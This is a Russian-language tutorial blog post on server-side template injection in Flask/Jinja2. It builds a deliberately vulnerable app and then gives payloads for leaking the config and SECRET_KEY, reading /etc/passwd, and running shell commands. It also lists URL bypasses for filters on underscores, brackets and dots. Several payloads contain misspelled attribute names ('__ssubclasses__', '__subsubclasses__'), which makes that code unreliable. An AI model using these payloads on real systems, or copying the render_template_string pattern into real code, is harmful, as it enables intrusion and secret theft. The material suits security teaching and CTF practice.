April 12, 2020

SSTI

Server Side Template Injections относится к типу Template Injection уязвимостей и возникает из-за неправильной обработки пользовательского ввода при встраивании его в шаблоны веб-приложений. Шаблон - это hml-скелет с выделенными полями, позволяющий этот шаблон обработать и сформировать конечный html.Механизмы шаблонов широко используются веб-приложениями для представления динамических данных пользователям.

В отличие от XSS, Template Injection может использоваться для прямой атаки на внутренние компоненты веб-серверов и получать удаленное выполнение кода.

Итак для примера создадим простое приложение на flask python, которое выглядит следующим образом:

from flask import *

app = Flask(__name__)

@app.route("/")
def home():
    return "Hello, World!"

if __name__ == "__main__":
    app.run(debug=True)

На странице просто выведется Hello World! .

Теперь нам нужно добавить параметры, чтобы мы могли взаимодействовать с веб-приложением. Получим просто параметр переданный в запросе request.args.get('name').

В данном случае параметр запроса name.

from flask import *

app = Flask(__name__)

@app.route("/")
def home():
    output = request.args.get('name')
    return f"Hello, {output}!"

if __name__ == "__main__":
    app.run(debug=True)

Но если будем делать запрос страницы без параметра name, то получим ошибку. Чтобы избежать этого, просто проверим output в if.

from flask import *

app = Flask(__name__)

@app.route("/")
def home():
    output = request.args.get('name')
    
    if output == None:
        return "name parameter not passed"  
    return f"Hello, {output}!"


if __name__ == "__main__":
    app.run(debug=True)

Отлично, теперь у нас есть приложение на flask, которое возвращает значение из get параметра и не вылетает. Теперь по уязвимости, она присутствует там, где шаблоны выполняются на стороне сервера и данные никак не обрабатываются или недостаточно обрабатываются.

Для рендеринга шаблона по строке используем render_template_string.

from flask import *

app = Flask(__name__)

@app.route("/")
def home():
    output = request.args.get('name')
    
    if output != None:
        output = render_template_string(f"Hello, {output}!")
        return output
    
    return "name parameter not passed"
        
if __name__ == "__main__":
    app.run(debug=True)

Запустим сервер и передадим в запросе name={{ 7 * 7 }}
( http://localhost:port/?name={{ 7 * 7 }}), сервер вернет нам Hello, 49!, что означает, что тут присутствует уязвимость.

Механизмы шаблонов используются очень широко, и они существуют для различных языков, таких как PHP, JS, Python, Go, Ruby ​​и многих других.

Основание того, почему они полезны, в том случае, если у вас большой веб-сайт или платформа, где много динамически изменяющихся элементов.

Например, netflix имеет тот же макет для своего контента, и изменяются только следующие вещи: заголовок, описание, баннер и некоторые другие мелкие детали, поэтому вместо создания целиком отдельной страницы для каждого фильма они просто подают данные в свои шаблоны , а затем шаблонизатор складывает все это вместе.

Получение конфигурации

Это может быть полезно для получения ключа SECRET_KEY, который используется для подписи файлов cookie, при этом вы можете создавать и подписывать свои собственные файлы cookie.

Для шаблонизатора Jinja2, который работает с фласком используем {{ config }}

Чтение локальных файлов

Это может быть использовано для чтения любого файла в системе и последующего выполнения может быть выполнен с помощью полезная нагрузка RCE. Также иногда пихают флажок на цтфках в папку с шаблонами {% include 'flag.txt'%}.

Пример полезной нагрузки альтернативы: {{''.__class__.__mro__[2].__ssubclasses__[40]('/etc/passwd').read() }}

RCE

Наконец, удаленное выполнение команд.

Очевидно, что это самый серьезный и опасный процесс, который может быть осуществлен различными способами:

{{''.__class__.__mro__[1].__subsubclasses__()[1]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

Теперь мы можем взглянуть на обходные методы. Давайте начнем с метода обхода параметров.

Представьте, что у вас есть шаблонизатор, в данном случае jinja2, который принимает значение из параметра и удаляет из него все символы подчеркивания "_". Это ограничит нас от различных различных запросов, например мы не сможем обратиться {{__class__}}. Таким образом, этот обходной метод основан на идее, что только этот параметр проверяется на подчеркивание. Поэтому все, что нам нужно сделать, это передать подчеркивание через другой параметр и вызвать их из нашего шаблона.

Мы начнем с вызова атрибута класса из запроса (подчеркивания в данном запросе будут удаляться).
{{ request.__class__ }}

мы удаляем «.» и используйте | attr, чтобы сообщить шаблону, что мы используем атрибуты запроса.
{{ request|attr("__class__") }}

Далее перенаправляем все содержимое параметра attribute в функцию join, которая склеивает все значения вместе, в этом случае для создания класса они оно сконкатенируется.

{{ request|attr(["__","class","__"]|join) }}

Затем мы удаляем одно подчеркивание и просто умножаем одно на два, что позволяет python, чтобы создать новую строку из ранее указанных строк.
{{ request|attr(["_" * 2,"class","_" * 2]|join) }}

Наконец, мы сообщаем paytload, чтобы получить подчеркивания от другого параметра, называемого «usc», и добавляем подчеркивания к другому параметру. В итоге у нас получится.

http://localhost:port/?name={{ request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) }}&usc=_

В следующем методе показывается обход блокировки скобок "[", "]".

http://localhost:port/?name={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_

http://localhost:port/?name={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

Еще один вариант в случае, если заблокирована точка ".":
http://localhost:port/?name={{request|attr([%22_%22*2,%22class%22,%22_%22*2]|join)}}

Наконец, метод обхода, который используется в случае, когда заблокированы "[", "]", "join" и "_":
http://localhost:port/?name={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Это всего лишь базовые данные обхода, но их можно комбинировать и манипулировать для достижения результатов.


А кучу полезных примеров инъекций вы можете найти туть:https://github.com/swisskyrepo/PayloadsAllTheThings